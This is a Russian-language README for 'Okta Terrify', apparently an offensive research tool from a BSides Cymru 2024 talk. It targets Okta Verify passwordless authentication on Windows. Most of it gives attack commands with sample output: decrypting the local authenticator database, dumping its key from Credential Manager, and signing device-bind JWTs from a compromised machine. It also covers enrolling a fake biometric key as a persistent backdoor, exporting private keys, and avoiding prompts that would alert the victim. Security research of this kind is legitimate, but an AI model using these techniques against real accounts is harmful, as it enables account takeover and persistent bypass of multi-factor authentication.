Эти инструменты были выпущены в рамках моего выступления на BSides Cymru 2024 «Okta Terrify: постоянство в мире без паролей». Презентационная колода и демонстрационное видео включены в этот репозиторий.
Okta Terrify — это инструмент, демонстрирующий, как решения без пароля, такие как FastPass от Okta Verify или другие решения типа FIDO2/WebAuthn, могут быть злоупотреблены после взлома конечной точки аутентификатора. Хотя Okta Terrify демонстрирует атаки, специфичные для Okta, та же методология обычно применяется и к другим решениям без пароля, поскольку, как правило, все они используют асимметричную криптографию.
Беспарольная аутентификация работает через пары открытого и закрытого ключей. Обычно во время регистрации аутентификатора генерируются два типа ключей: Proof Of Possession
и User Verification
. В совокупности оба ключа удовлетворяют элементу многофакторной аутентификации, к которому организации стремятся в рамках постоянных усилий по защите своих пользователей.
Ключ подтверждения владения предназначен именно для этого: доказать присутствие конкретного аутентификатора и/или пользователя во время аутентификации. В случае Okta ключ доказательства владения используется для определения присутствия как аутентификатора, так и пользователя, поскольку в многопользовательских сценариях для каждого пользователя генерируются уникальные ключи доказательства владения. Ключ доказательства владения обычно представляет собой тихий ключ, который не требует каких-либо биометрических данных для разблокировки его использования, кроме данных самой операционной системы, таких как сеанс аутентификации пользователя Windows. Если этот ключ доступен, он будет поддерживаться доверенным платформенным модулем, поэтому его невозможно экспортировать с устройства. Если доверенный платформенный модуль недоступен, этот ключ создается только как программный ключ.
Ключ проверки пользователя также обеспечивает подтверждение владения, а также подтверждает, что пользователь действительно знает о том, что происходит аутентификация. Это достигается с помощью биометрических данных, часто отпечатков пальцев или распознавания лиц, но также подкрепленных PIN-кодом. На устройствах под управлением Windows это обычно реализуется с помощью Windows Hello. Операции подписания не будут работать без предоставления правильных биометрических данных. Некоторые решения без пароля будут использовать только ключ проверки пользователя для удовлетворения обоих факторов. Недостаток этого подхода заключается в том, что для каждой операции подписания потребуются биометрические данные пользователя. В случае с Okta, например, подтверждение владения ключом может использоваться в качестве отдельного фактора во время аутентификации наряду с отдельным фактором, таким как пароль пользователя. Опять же, этот ключ либо поддерживается TPM, если он доступен, либо генерируется программным обеспечением, если нет.
Ладно, хватит этой истории о беспарольном доступе, давайте перейдем к хорошему. Хотя одни и те же концепции существуют на всех поддерживаемых устройствах Okta Verify, с этого момента мы будем обсуждать, как работает версия Okta Verify для Windows.
Okta хранит информацию об аутентификаторе в зашифрованной базе данных SQLite. Существует две разные версии базы данных: устаревшая версия, хранящаяся в файле OVStore.db
, который использует SID пользователя в качестве основы ключа шифрования, проходящего через специальный алгоритм XOR, и фиксированный ключ. Более новая версия называется DataStore.db
и использует случайное значение, хранящееся в диспетчере учетных данных. Эти учетные данные передаются через алгоритм XOR, аналогичный устаревшему формату. База данных хранится по адресу %LocalAppData%OktaOktaVerify
. База данных содержит сгенерированные идентификаторы ключей для подтверждения владения и ключа проверки пользователя, которые генерируются во время регистрации устройства. База данных также содержит другие полезные метаданные, такие как идентификаторы устройства, пользователя и аутентификатора, а также URL-адрес клиента Okta для зарегистрированных учетных записей.
Okta Terrify разделена на два отдельных компонента. Окта Ужас и ОктаИнк.
Okta Terrify предназначен для запуска на машине злоумышленника. Для этого инструмента требуется SID пользователя и файл базы данных в устаревшем формате базы данных, а для более нового формата — ключ базы данных. Для нового формата ключ базы данных можно сгенерировать с помощью OktaInk. Okta Terrify имеет 4 режима работы, управляемых с помощью различных переключателей.
Режим --info
просто сбрасывает информацию, содержащуюся в базе данных.
Устаревшая база данных
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
Новая база данных
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db --dbkey a156a0b42c....6dd83f701
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
В режиме --backdoor
Okta Terrify запустит URL-адрес клиента Okta, используя идентификатор клиента OAuth, который официальное приложение Okta Verify использует во время регистрации. Обычно это запускает поток аутентификации, и на этом этапе активируется режим подписи. После создания сеанса аутентификации на атакующем устройстве генерируется новый ключ проверки пользователя, который регистрируется как поддельный биометрический ключ. После регистрации ключа FastPass будет работать в режиме без пароля и не будет зависеть от исходного скомпрометированного устройства аутентификации.
OktaTerrify.exe -b -s S-1-5-21-********-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db -v
2023-11-21 11:47:10.4741|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 11:47:10.5057|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k BOL_************ -d pfd******** -u 00u******** -n bGI******** -t ftt******** -a https://tenant.okta.com -m crp**** -v
[.] Enter DeviceBind JWT:
eyJraW......
2023-11-21 11:47:43.9337|INFO|OktaTerrify|Signed JWT accepted, factor accepted
2023-11-21 11:47:48.5310|INFO|OktaTerrify|Authenticated as user [email protected], enrolling a fake userVerify TPM key
2023-11-21 11:47:48.5464|INFO|OktaTerrify|Generated new fake hardware biometric key and saved to file BD_******.key
[=] I now need the existing userVerification public key
OktaInk -o ExportPublic -k BOL_************
[.] Enter userVerification public key:
nOng....
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Passwordless persistence successful, now running in FastPass mode
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Running in backdoor mode, press ESC to exit
В режиме --sign
во время аутентификации Okta запросы либо подписываются локально с помощью отфильтрованных ключей, либо могут быть перенаправлены в OktaInk, работающий на скомпрометированном аутентификаторе, при наличии аппаратных ключей.
OktaTerrify.exe --sign -s S-1-5-21-******-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 16:54:33.9386|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 16:54:34.0014|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
2023-11-21 16:54:34.0014|INFO|OktaTerrify|Running in signing mode, press ESC to exit
2023-11-21 16:54:54.7414|WARN|OktaTerrify|!!WARNING!! - Incoming sign request for the user verification key, this will cause a popup on the victim machine to enter user verification PIN/Password because no local key exists. To force generation of user verification key signing, add the -v argument. Falling back to proof of possession key
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k SFT_********** -d pfd***** -u 00u****** -n C7bG****** -t ft4Kw******* -a https://tenant.okta.com -m crp*******
[.] Enter DeviceBind JWT:
eyJra.....
2023-11-24 16:55:10.8214|INFO|OktaTerrify|Signed JWT accepted, factor accepted
Режим --import
сохранит программное обеспечение, определенное подтверждение владения и ключи проверки пользователя, которые были извлечены с помощью Okta Ink.
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
Okta Ink предназначен для работы на взломанном устройстве аутентификации. Приложение поддерживает 4 типа операций.
В новом формате базы данных можно использовать --operation DumpDBKey
для получения дампа ключа базы данных для файла DataStore.db
. Затем ключ можно использовать в качестве параметра для OkaInk.
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
OktaInk -o DumpDBKey
[=] Credential manager key name: OKTA_VERIFY_STORE_ZfH+9F42Ch3X2+dZBFX3FCMtPnctn6lk8MqsCoH/Osc=
[+] DB Key: a156a....83f701
Во время процесса аутентификации Okta генерируется ответ на запрос JWT, чтобы доказать, что либо доказательство присутствия, либо ключ проверки пользователя доступны. Режим --operation SignDeviceBind
можно использовать для подписи сгенерированного JWT с помощью ключа подтверждения владения, который является тихим. Если вы хотите выполнить аутентификацию без пароля, вы также можете выполнить вход с помощью ключа проверки пользователя, добавив аргумент -v
. ВНИМАНИЕ. При запросе ключа проверки пользователя пользователь-жертва должен будет выполнить биометрическую проверку, что может вызвать подозрения.
Okta Verify также регистрирует ключ аттестации устройства, который является автоматическим ключом. Этот ключ, по-видимому, используется при внесении изменений в зарегистрированное устройство аутентификации посредством вызовов веб-API в отношении арендатора Okta. Но, похоже, по умолчанию аттестация устройства не применяется, поэтому подпись не требуется. В любом случае, этот режим можно использовать с помощью аргументов --operation SignDeviceAttestation
.
Для устройств, которые не поддерживают TPM, командную строку --operation ExportPrivate
можно использовать для экспорта всех ключей, зарегистрированных на устройстве. Ключи подтверждения владения привязаны к ключу DPAPI пользователя, поэтому пароль пользователя должен быть известен.
В процессе бэкдор-регистрации нам необходимо убедиться, что существующие открытые ключи сохраняются в данных аутентификатора клиента. --operation ExportPublic
облегчает это, экспортируя открытый ключ, связанный с определенным идентификатором ключа.
OktaInk -o ExportPublic -k BOL_******************
nOngWn_Bd8IH_8GJTjGeXpf....